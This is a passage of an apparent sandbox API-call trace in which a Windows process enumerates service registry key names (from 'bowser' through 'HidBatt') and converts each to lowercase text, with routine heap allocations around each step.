BaseAddress=0x21f1d60) returned 1 [0260.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.388] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0260.388] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.389] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0260.389] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.389] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0260.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.390] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0260.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0260.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0260.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0260.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.391] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0260.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0260.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0260.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0260.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.751] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0260.751] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.752] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0260.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0260.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0260.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0260.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0260.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0260.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0260.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0260.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0260.752] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0260.753] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0260.754] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0260.755] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0260.756] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0260.757] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0260.757] 